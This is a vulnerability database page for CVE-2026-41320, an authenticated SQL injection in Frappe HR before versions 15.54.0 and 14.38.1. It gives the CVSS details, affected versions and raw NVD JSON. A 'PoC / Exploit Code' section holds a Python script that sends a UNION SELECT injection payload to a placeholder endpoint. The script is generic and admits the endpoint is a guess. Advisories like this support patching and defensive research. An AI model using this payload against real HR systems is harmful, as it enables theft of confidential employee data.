Security Vulnerability Report
中文
CVE-2026-41320 CVSS 6.5 MEDIUM

CVE-2026-41320

Published: 2026-04-21 20:17:04
Last Modified: 2026-04-27 19:38:37

Description

Frappe HR is an open-source human resources management solution (HRMS). Prior to versions 15.54.0 and 14.38.1, a specially crafted request made to a certain endpoint could result in SQL injection, allowing an attacker to extract information they wouldn't otherwise be able to. Versions 15.54.0 and 14.38.1 contain a patch. No known workarounds are available.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:* - VULNERABLE
Frappe HR < 15.54.0
Frappe HR < 14.38.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41320: SQL Injection in Frappe HR import requests target_url = "http://target-domain/api/resource/endpoint" # Replace with actual vulnerable endpoint headers = { "Authorization": "token <low_privilege_token>", "Content-Type": "application/json" } # Malicious payload to extract database version # The payload structure depends on the specific endpoint parameter vulnerable payload = { "filters": "[[\"name\",\"=\",\"1' UNION SELECT 1,2,version(),4-- "]]" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential SQL Injection successful.") print("[+] Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41320", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:03.797", "lastModified": "2026-04-27T19:38:36.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe HR is an open-source human resources management solution (HRMS). Prior to versions 15.54.0 and 14.38.1, a specially crafted request made to a certain endpoint could result in SQL injection, allowing an attacker to extract information they wouldn't otherwise be able to. Versions 15.54.0 and 14.38.1 contain a patch. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.38.1", "matchCriteriaId": "036596FE-0F7E-4B1B-B96B-ECB07321FD8B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.54.0", "matchCriteriaId": "F728D689-0AF2-4A0E-88EA-97105AE177D5"}]}]}], "references": [{"url": "https://github.com/frappe/hrms/security/advisories/GHSA-745c-5q8r-vgj2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}